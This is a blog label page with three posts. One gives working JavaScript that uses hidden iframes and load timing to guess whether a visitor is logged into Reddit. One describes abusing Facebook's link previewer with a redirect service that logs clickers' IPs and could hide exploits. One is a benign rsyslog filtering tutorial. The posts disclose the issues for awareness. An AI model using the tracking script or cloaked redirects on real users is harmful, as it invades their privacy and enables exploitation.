Showing posts with label logging. Show all posts
Showing posts with label logging. Show all posts

Monday, January 16, 2012

Guessing User Logged-In Status With Redirects and Load Times

I've been working on a project that uses non-traditional methods to detect a user's signed-in status to websites. When you visit a page like "http://reddit.com/submit," that page first checks to verify whether you are logged in or not. If you are already logged in, the standard "Submit" page is displayed. If you are not, the browser is redirected to the login page. My idea rests on the fact that this redirect takes time; not a significant amount of time, but at least a millisecond or two. If we could somehow record the loading times of these pages, we could, with a fair amount of accuracy, determine whether or not a user is logged in to a particular website.

To do this, I have setup an IFRAME within a website (I'll have to check and see if this works by loading a page as if it were a script, but that's later on the agenda). I then use JavaScript to reload the page and then load the page that the page would have directed to. Let's look at an example.

When you go to http://reddit.com/submit and you are logged in, the /submit page is shown. When you are not logged in, you are redirected to https://ssl.reddit.com/login?dest=%2Fsubmit, the standard Reddit login page. My script first loads the submit page. If the user is logged in, the page loads, saving its load time to a variable. Then, the timer is reset and the standard login page is loaded. The end result boils down to these facts:

If you ARE logged in, the submit page will load quicker than the login page because no redirect is needed when the submit page is loaded.

If you ARE NOT logged in, the login page will load quicker because the submit page requires a redirect and the login page does not.

There are a few problems that prevent this script from being a 100%. First, despite an initial page load that doesn't count towards the load timer, caching of the browser is not fully predictable. One page may be cached more than another. Second, although the two page loads are performed within 1.2 seconds of each other, network and remote server conditions could change within that time, causing one page to load faster. This is more of a proof-of-concept than a reliable script, but it does show that a remote page could attempt to guess all of the services you use by loading remote pages in hidden IFRAMEs.

See if it works for you: http://blasze.com/loggedin/

Source:
<html>
    <head>

        <script type="text/javascript">

            var startTime=new Date();
            var a;
            var b;
            var done = 0;

            function currentTime(){
                if(done == 0)
                {
                    done = 1;
                    var ms = 1200;
                    ms += new Date().getTime();
                    while (new Date() < ms){}
                    startTime=new Date();
                    document.getElementById('framer').src="http://www.reddit.com/submit";
                }
                else if(done == 1)
                {
                    a=Math.floor((new Date()-startTime)/100)/10;
                    if (a%1==0) a+=".0";
                    done = 2;
                    var ms = 1200;
                    ms += new Date().getTime();
                    while (new Date() < ms){}
                    startTime=new Date();
                    document.getElementById('framer').src="https://ssl.reddit.com/login?dest=%2Fsubmit";
                }
                else
                {
                    b=Math.floor((new Date()-startTime)/100)/10;
                    if (b%1==0) b+=".0";
                    if(a > (b + .1))
                    {
                        document.write('You are not logged into Reddit.');
                    }
                    else
                    {
                        document.write('You are logged into Reddit.');
                    }
      
                }
            }

        </script>

    </head>
    <body>
        <iframe id="framer" src="http://www.reddit.com/submit" onLoad="currentTime()" style="display:none;"></iframe>


    </body>
</html>

Sunday, January 15, 2012

Spreading Malicious Links by Redirecting Facebook's Previewer

When you post a link on Facebook, Facebook has a link fetcher / preview function that visits the website, grabs information about it, along with a thumbnail if available. If you post a bit.ly link, Facebook's fetcher  is still able to follow through the redirect and grab the end-result information.

Let's start with an example. We have this lovely image of a dog and cat on Imgur (found on /r/aww): http://i.imgur.com/vwMRV.jpg. Out bit.ly link is: http://bit.ly/zrhnPz.

Facebook displays the link like so:


Note that once the link converts to a preview, the original text can be replaced.


Notice that the end link (imgur) is displayed and not the original link of bit.ly. But suppose we skip bit.ly and make our own redirect service. To demo this, I've created a site with a spare domain I have. It is located at: http://blasze.com/iplog/. This site is just a redirection service that logs visitor IPs. But if I was to have more malicious intentions, I could have a browser exploit on the page in between Facebook and the redirect. Then, Facebook's preview utility would successfully fetch the end link, but the user clicking it could be exploited. Let's take a look.

My site generates a URL to post.


Now, like in the previous example, I can edit the link and title and unsuspecting users will think it is a cute dog. However, they're actually being redirected through my malicious site (note: it's not actually malicious. It simply logs IP addresses to prove a point, but an attacker could compromise the browser).

I post and wait...


As you can see in this image, I have a click! The redirection was entirely seamless to the user, just like using bit.ly. But without them ever knowing, I have logged their IP, host name, and user agent string. This isn't terrible, but I could have used a browser exploit to compromise their system instead of just redirecting.

But then wouldn't I be attacking Facebook's previewer too, since it visited the site? Well technically yes, unless I wrote a quick PHP script that simply redirects Facebook's IPs but attacks others.

This is just a demo of something I realized. Please don't use it maliciously, but also be aware that any link you click on Facebook could actually go somewhere else that is not what the preview indicates. To help mitigate this problem, Facebook could include an additional warning on links that redirect.

Thursday, June 30, 2011

Rsyslog Configuration

While working on a system that sends events to an ELA (Event Log Analyser) Server, I had to start filtering the events that were sent. I noticed this after sending all events (*.* in rsyslog) to the server and seeing 218,000 hits in 30 seconds. Apparently rsyslog logs everything from kernel events to authentication issues, and network traffic. This filled up the event log incredibly quickly. Just browsing the web for a few moments resulted in thousands of messages being saved in the event log. In addition, ever broadcast and multicast from every machine was logged. For my system and remote monitoring, this was not feasible.

As you can see, there are multiple entries for broadcast MACs. I do not want to log these. So, I set out on what would become a two-hour adventure on rsyslog and conditional filtering.

First, I discovered that Ubuntu uses rsyslog rather than the older syslog. Essentially, what I wanted to do was send all events to an ELA manager except for the broadcast and multicast messages (note: this computer is not for web browsing. If yours is, you will want to filter out web traffic as well or risk seeing millions of messages).

Before sending all of my information to an ELA Server (I remembered what happened last time I did that), I needed a way to see what messages would be sent and filtered. Enter "xconsole." Xconsole allows you to view messages that are being sent to the console. To run it, open up a command prompt and type:

sudo xconsole



This will open the console window. Leave this open while testing.

Ubunut stores its rsyslog settings in two places. The first is rsyslog.conf which is stored in /etc. However, it references/includes a file "50-default.conf" which is stored in /etc/rsyslog.d. To open that file and begin our edits type this in a command prompt (open a new command prompt tab so we don't close the xconsole)

sudo gedit /etc/rsyslog.d/50-default.conf


This will open a text editor. This file originally looks like this:

#Test logging to temp log
#*.*;kern.none    /dev/console
*.*    /dev/console

#LOG to remote host ELA
#*.* @10.10.92.33

#  Default rules for rsyslog.
#
#            For more information see rsyslog.conf(5) and /etc/rsyslog.conf

#
# First some standard log files.  Log by facility.
#
auth,authpriv.*            /var/log/auth.log
*.*;auth,authpriv.none        -/var/log/syslog
#cron.*                /var/log/cron.log
#daemon.*            -/var/log/daemon.log
kern.*                -/var/log/kern.log
#lpr.*                -/var/log/lpr.log
mail.*                -/var/log/mail.log
#user.*                -/var/log/user.log

#
# Logging for the mail system.  Split it up so that
# it is easy to write scripts to parse these files.
#
#mail.info            -/var/log/mail.info
#mail.warn            -/var/log/mail.warn
mail.err            /var/log/mail.err

#
# Logging for INN news system.
#
news.crit            /var/log/news/news.crit
news.err            /var/log/news/news.err
news.notice            -/var/log/news/news.notice

#
# Some "catch-all" log files.
#
#*.=debug;\
#    auth,authpriv.none;\
#    news.none;mail.none    -/var/log/debug
#*.=info;*.=notice;*.=warn;\
#    auth,authpriv.none;\
#    cron,daemon.none;\
#    mail,news.none        -/var/log/messages

#
# Emergencies are sent to everybody logged in.
#
*.emerg                *

#
# I like to have messages displayed on the console, but only on a virtual
# console I usually leave idle.
#
#daemon,mail.*;\
#    news.=crit;news.=err;news.=notice;\
#    *.=debug;*.=info;\
#    *.=notice;*.=warn    /dev/tty8

# The named pipe /dev/xconsole is for the `xconsole' utility.  To use it,
# you must invoke `xconsole' with the `-file' option:
#
#    $ xconsole -file /dev/xconsole [...]
#
# NOTE: adjust the list below, or you'll go crazy if you have a reasonably
#      busy site..
#
daemon.*;mail.*;\
    news.err;\
    *.=debug;*.=info;\
    *.=notice;*.=warn    |/dev/xconsole


This is the original file. We are going to be adding all of our rules to the top. Here are the edits I made to the file. These edits drop all messages matching a rule before logging them.

#Test logging to console with /dev/console.
#Then open CLI and do sudo xconsole to watch output

#Drop all packets containing information matching below. Then write.
:msg, contains, "DST=10.10.92.255"
& ~
:msg, contains, "DST=255.255.255.255"
& ~
:msg, contains, "DST=224.0.0.251"
& ~
*.*    /dev/console

#LOG to remote host ELA

*.* @10.10.92.3


The line for logging to the ELA can be commented out while you test this. The line with /dev/console will write to the xconsole window. Now we need to save it and restart the service. Save the file in the text editor, exit, and then issue:

sudo service rsyslog restart


That will begin throwing messages to your xconsole. If it works, you can comment out that line and then send the messages just to the ELA.

Here are some links that were used as sources. However, I wrote this post because none of the sources I found addressed multiple rules directly.
http://www.rsyslog.com/doc/rsyslog_conf_filter.html
http://www.rsyslog.com/doc/rsyslog_conf_examples.html
http://www.rsyslog.com/discarding-unwanted-messages/
http://people.redhat.com/pvrabec/rpms/rsyslog/rsyslog-example.conf